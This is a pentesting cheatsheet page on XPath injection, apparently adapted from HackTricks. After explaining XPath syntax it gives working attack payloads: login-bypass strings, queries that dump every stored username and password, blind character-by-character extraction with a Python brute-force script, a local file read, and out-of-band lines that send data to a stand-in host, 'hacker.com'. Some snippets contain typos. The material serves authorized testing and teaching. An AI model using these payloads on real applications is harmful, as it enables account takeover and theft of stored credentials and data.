daemon-sec-cheatsheet

The cheatsheet vault for operators: AD, enumeration, exploitation, priv-esc, web, DFIR
git clone https://git.daemon-sec.xyz/daemon-sec-cheatsheet.git
Log | Files | Refs | README | LICENSE

xpath-injection.md (10499B)


      1 ---
      2 title: "XPATH injection"
      3 section: "Web Pentesting"
      4 sectionSlug: "pentesting-web"
      5 sourcePath: "src/pentesting-web/xpath-injection.md"
      6 sourceUrl: "https://github.com/HackTricks-wiki/hacktricks/blob/188de82beb54e70956b2952367a0af91d26758b8/src/pentesting-web/xpath-injection.md"
      7 sha: "188de82beb54e70956b2952367a0af91d26758b8"
      8 isIndex: false
      9 modified: true
     10 license: "CC-BY-NC-4.0"
     11 ---
     12 
     13 # XPATH injection
     14 
     15 ## Basic Syntax
     16 
     17 An attack technique known as XPath Injection is utilized to take advantage of applications that form XPath (XML Path Language) queries based on user input to query or navigate XML documents.<sup>[[2]](#references)</sup>
     18 
     19 ### Nodes Described
     20 
     21 Expressions are used to select various nodes in an XML document. These expressions and their descriptions are summarized below:<sup>[[3]](#references)</sup>
     22 
     23 - **nodename**: All nodes with the name "nodename" are selected.
     24 - **/**: Selection is made from the root node.
     25 - **//**: Nodes matching the selection from the current node are selected, regardless of their location in the document.
     26 - **.**: The current node is selected.
     27 - **..**: The parent of the current node is selected.
     28 - **@**: Attributes are selected.
     29 
     30 ### XPath Examples
     31 
     32 Examples of path expressions and their results include:
     33 
     34 - **bookstore**: All nodes named "bookstore" are selected.
     35 - **/bookstore**: The root element bookstore is selected. It's noted that an absolute path to an element is represented by a path starting with a slash (/).
     36 - **bookstore/book**: All book elements that are children of bookstore are selected.
     37 - **//book**: All book elements in the document are selected, irrespective of their location.
     38 - **bookstore//book**: All book elements that are descendants of the bookstore element are selected, no matter their position under the bookstore element.
     39 - **//@lang**: All attributes named lang are selected.
     40 
     41 ### Utilization of Predicates
     42 
     43 Predicates are used to refine selections:
     44 
     45 - **/bookstore/book\[1]**: The first book element child of the bookstore element is selected. A workaround for IE versions 5 to 9, which index the first node as \[0], is setting the SelectionLanguage to XPath through JavaScript.
     46 - **/bookstore/book\[last()]**: The last book element child of the bookstore element is selected.
     47 - **/bookstore/book\[last()-1]**: The penultimate book element child of the bookstore element is selected.
     48 - **/bookstore/book\[position()<3]**: The first two book elements children of the bookstore element are selected.
     49 - **//title\[@lang]**: All title elements with a lang attribute are selected.
     50 - **//title\[@lang='en']**: All title elements with a "lang" attribute value of "en" are selected.
     51 - **/bookstore/book\[price>35.00]**: All book elements of the bookstore with a price greater than 35.00 are selected.
     52 - **/bookstore/book\[price>35.00]/title**: All title elements of the book elements of the bookstore with a price greater than 35.00 are selected.
     53 
     54 ### Handling of Unknown Nodes
     55 
     56 Wildcards are employed for matching unknown nodes:
     57 
     58 - **\***: Matches any element node.
     59 - **@**\*: Matches any attribute node.
     60 - **node()**: Matches any node of any kind.
     61 
     62 Further examples include:
     63 
     64 - **/bookstore/\***: Selects all the child element nodes of the bookstore element.
     65 - **//\***: Selects all elements in the document.
     66 - **//title\[@\*]**: Selects all title elements with at least one attribute of any kind.
     67 
     68 ## Example
     69 
     70 ```xml
     71 <?xml version="1.0" encoding="ISO-8859-1"?>
     72 <data>
     73 <user>
     74     <name>pepe</name>
     75     <password>peponcio</password>
     76     <account>admin</account>
     77 </user>
     78 <user>
     79     <name>mark</name>
     80     <password>m12345</password>
     81     <account>regular</account>
     82 </user>
     83 <user>
     84     <name>fino</name>
     85     <password>fino2</password>
     86     <account>regular</account>
     87 </user>
     88 </data>
     89 ```
     90 
     91 ### Access the information
     92 
     93 ```text
     94 All names - [pepe, mark, fino]
     95 name
     96 //name
     97 //name/node()
     98 //name/child::node()
     99 user/name
    100 user//name
    101 /user/name
    102 //user/name
    103 
    104 All values - [pepe, peponcio, admin, mark, ...]
    105 //user/node()
    106 //user/child::node()
    107 
    108 
    109 Positions
    110 //user[position()=1]/name #pepe
    111 //user[last()-1]/name #mark
    112 //user[position()=1]/child::node()[position()=2] #peponcio (password)
    113 
    114 Functions
    115 count(//user/node()) #3*3 = 9 (count all values)
    116 string-length(//user[position()=1]/child::node()[position()=1]) #Length of "pepe" = 4
    117 substrig(//user[position()=2/child::node()[position()=1],2,1) #Substring of mark: pos=2,length=1 --> "a"
    118 ```
    119 
    120 ### Identify & stealing the schema
    121 
    122 ```python
    123 and count(/*) = 1 #root
    124 and count(/*[1]/*) = 2 #count(root) = 2 (a,c)
    125 and count(/*[1]/*[1]/*) = 1 #count(a) = 1 (b)
    126 and count(/*[1]/*[1]/*[1]/*) = 0 #count(b) = 0
    127 and count(/*[1]/*[2]/*) = 3 #count(c) = 3 (d,e,f)
    128 and count(/*[1]/*[2]/*[1]/*) = 0 #count(d) = 0
    129 and count(/*[1]/*[2]/*[2]/*) = 0 #count(e) = 0
    130 and count(/*[1]/*[2]/*[3]/*) = 1 #count(f) = 1 (g)
    131 and count(/*[1]/*[2]/*[3]/[1]*) = 0 #count(g) = 0
    132 
    133 #The previous solutions are the representation of a schema like the following
    134 # At this stage, we know only the schema, not the tag names
    135 <root>
    136     <a>
    137         <b></b>
    138     </a>
    139     <c>
    140         <d></d>
    141         <e></e>
    142         <f>
    143             <h></h>
    144         </f>
    145     </c>
    146 </root>
    147 
    148 and name(/*[1]) = "root" #Confirm the name of the first tag is "root"
    149 and substring(name(/*[1]/*[1]),1,1) = "a" #First char of name of tag `<a>` is "a"
    150 and string-to-codepoints(substring(name(/*[1]/*[1]/*),1,1)) = 105 # First character of tag `<b>` is code point 105 ("i") (https://codepoints.net/)
    151 
    152 #Stealing the schema via OOB
    153 doc(concat("http://hacker.com/oob/", name(/*[1]/*[1]), name(/*[1]/*[1]/*[1])))
    154 doc-available(concat("http://hacker.com/oob/", name(/*[1]/*[1]), name(/*[1]/*[1]/*[1])))
    155 ```
    156 
    157 ## Authentication Bypass
    158 
    159 ### **Example of queries:**
    160 
    161 ```text
    162 string(//user[name/text()='+VAR_USER+' and password/text()='+VAR_PASSWD+']/account/text())
    163 $q = '/usuarios/usuario[cuenta="' . $_POST['user'] . '" and passwd="' . $_POST['passwd'] . '"]';
    164 ```
    165 
    166 ### **OR bypass in user and password (same value in both)**
    167 
    168 ```text
    169 ' or '1'='1
    170 " or "1"="1
    171 ' or ''='
    172 " or ""="
    173 string(//user[name/text()='' or '1'='1' and password/text()='' or '1'='1']/account/text())
    174 
    175 Select account
    176 Select the account using the username and use one of the previous values in the password field
    177 ```
    178 
    179 ### **Abusing null injection**
    180 
    181 ```text
    182 Username: ' or 1]%00
    183 ```
    184 
    185 ### **Double OR in Username or in password** (is valid with only 1 vulnerable field)
    186 
    187 IMPORTANT: Notice that the **"and" is the first operation made**.<sup>[[1]](#references)</sup>
    188 
    189 ```text
    190 Bypass with first match
    191 (This requests are also valid without spaces)
    192 ' or /* or '
    193 ' or "a" or '
    194 ' or 1 or '
    195 ' or true() or '
    196 string(//user[name/text()='' or true() or '' and password/text()='']/account/text())
    197 
    198 Select account
    199 'or string-length(name(.))<10 or' #Select account with length(name)<10
    200 'or contains(name,'adm') or' #Select first account having "adm" in the name
    201 'or contains(.,'adm') or' #Select first account having "adm" in the current value
    202 'or position()=2 or' #Select 2º account
    203 string(//user[name/text()=''or position()=2 or'' and password/text()='']/account/text())
    204 
    205 Select account (name known)
    206 admin' or '
    207 admin' or '1'='2
    208 string(//user[name/text()='admin' or '1'='2' and password/text()='']/account/text())
    209 ```
    210 
    211 ## String extraction
    212 
    213 The output contains strings and the user can manipulate the values to search:<sup>[[1]](#references)</sup>
    214 
    215 ```text
    216 /user/username[contains(., '+VALUE+')]
    217 ```
    218 
    219 ```text
    220 ') or 1=1 or (' #Get all names
    221 ') or 1=1] | //user/password[('')=(' #Get all names and passwords
    222 ') or 2=1] | //user/node()[('')=(' #Get all values
    223 ')] | //./node()[('')=(' #Get all values
    224 ')] | //node()[('')=(' #Get all values
    225 ') or 1=1] | //user/password[('')=(' #Get all names and passwords
    226 ')] | //password%00 #All names and passwords (abusing null injection)
    227 ')]/../*[3][text()!=(' #All the passwords
    228 ')] | //user/*[1] | a[(' #The ID of all users
    229 ')] | //user/*[2] | a[(' #The name of all users
    230 ')] | //user/*[3] | a[(' #The password of all users
    231 ')] | //user/*[4] | a[(' #The account of all users
    232 ```
    233 
    234 ## Blind Exploitation
    235 
    236 ### **Get length of a value and extract it by comparisons:**
    237 
    238 ```bash
    239 ' or string-length(//user[position()=1]/child::node()[position()=1])=4 or ''=' #True if length equals 4
    240 ' or substring((//user[position()=1]/child::node()[position()=1]),1,1)="a" or ''=' #True is first equals "a"
    241 
    242 substring(//user[userid=5]/username,2,1)=codepoints-to-string(INT_ORD_CHAR_HERE)
    243 
    244 ... and ( if ( $employee/role = 2 ) then error() else 0 )... #When error() is executed it rises an error and never returns a value
    245 ```
    246 
    247 ### **Python Example**
    248 
    249 ```python
    250 import requests, string
    251 
    252 flag = ""
    253 l = 0
    254 alphabet = string.ascii_letters + string.digits + "{}_()"
    255 for i in range(30):
    256     r = requests.get("http://example.com?action=user&userid=2 and string-length(password)=" + str(i))
    257     if ("TRUE_COND" in r.text):
    258         l = i
    259         break
    260 print("[+] Password length: " + str(l))
    261 for i in range(1, l + 1): #print("[i] Looking for char number " + str(i))
    262     for al in alphabet:
    263         r = requests.get("http://example.com?action=user&userid=2 and substring(password,"+str(i)+",1)="+al)
    264         if ("TRUE_COND" in r.text):
    265             flag += al
    266             print("[+] Flag: " + flag)
    267             break
    268 ```
    269 
    270 ### Read file
    271 
    272 ```python
    273 (substring((doc('file://protected/secret.xml')/*[1]/*[1]/text()[1]),3,1))) < 127
    274 ```
    275 
    276 ## OOB Exploitation
    277 
    278 ```python
    279 doc(concat("http://hacker.com/oob/", RESULTS))
    280 doc(concat("http://hacker.com/oob/", /Employees/Employee[1]/username))
    281 doc(concat("http://hacker.com/oob/", encode-for-uri(/Employees/Employee[1]/username)))
    282 
    283 #Instead of doc() you can use the function doc-available
    284 doc-available(concat("http://hacker.com/oob/", RESULTS))
    285 #the doc available will respond true or false depending if the doc exists,
    286 #user not(doc-available(...)) to invert the result if you need to
    287 ```
    288 
    289 ### Automatic tool
    290 
    291 - [xcat](https://xcat.readthedocs.io/)
    292 - [xxxpwn](https://github.com/feakk/xxxpwn)
    293 - [xxxpwn_smart](https://github.com/aayla-secura/xxxpwn_smart)
    294 - [xpath-blind-explorer](https://github.com/micsoftvn/xpath-blind-explorer)
    295 - [XmlChor](https://github.com/Harshal35/XMLCHOR)
    296 
    297 ## References
    298 
    299 - [1] [PayloadsAllTheThings - XPATH Injection](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XPATH%20Injection)
    300 - [2] [OWASP Testing Guide - Testing for XPath Injection (OTG-INPVAL-010)](<https://wiki.owasp.org/index.php/Testing_for_XPath_Injection_(OTG-INPVAL-010)>)
    301 - [3] [W3Schools - XPath Syntax](https://www.w3schools.com/xml/xpath_syntax.asp)